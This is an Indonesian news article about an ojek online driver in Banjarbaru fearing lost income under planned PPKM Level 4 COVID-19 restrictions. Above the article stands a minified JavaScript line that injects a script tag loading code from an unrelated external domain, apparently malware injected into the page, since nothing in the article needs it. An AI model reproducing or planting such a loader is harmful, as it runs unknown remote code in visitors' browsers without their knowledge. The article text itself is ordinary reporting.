(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Rencana PPKM Level 4 di Banjarbaru, Begini Curhatan Seorang Ojol

KANALKALIMANTAN.COM, BANJARBARU – Instruksi dari Joko Widodo, Presiden RI kepada Menteri Dalam Negeri Nomor 22 Tahun 2021 tentang Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) Level 4 Covid-19 cukup membuat masyarakat bertanya-tanya dan mayoritas merasa stabilitas ekonominya terancam.

Setidaknya ada 16 poin aturan dari instruksi tersebut berdampak besar terhadap berbagai pekerjaan yang dilakoni masyarakat.

Dapat dipastikan, seluruh profesi terkena dampak yang kurang mengenakkan, tak terkecuali para pengenedara ojek online.

Hasbi, seorang driver ojek online (Ojol) menanggapi rencana PPKM Level 4 di Banjarbaru penuh keresahan, membuat mereka bertanya-tanya mengenai orderan ke depannya.

Hasbi, ojol di Banjarbaru. Foto: nurul

“Orang yang mau naik ojek dan pesan makan melalui kita pasti berkurang kan? Apalagi misalkan waktu kerja kami dibatasi,” ujarnya kepada Kanalkalimantan.com, Sabtu (24/7/2021) pagi.

“Kami para ojol ini kerja harian, kalo sehari aja nggak kerja otomatis nggak dapet uang. Beda sama yang kerja gaji bulanan,” keluh Hasbi.

Hasbi mengutarakan kekhawatirannya terkait PPKM Level 4 yang akan berlaku di Kota Banjarbaru.

“Aku takutnya kalo warung makan pada tutup, orang-orang nggak berani kemana pun. Secara nggak langsung, bikin kami bertanya-tanya yang order kami siapa?,” ucapnya. (kanalkalimantan.com/nurul)

Reporter : nurul
Editor : bie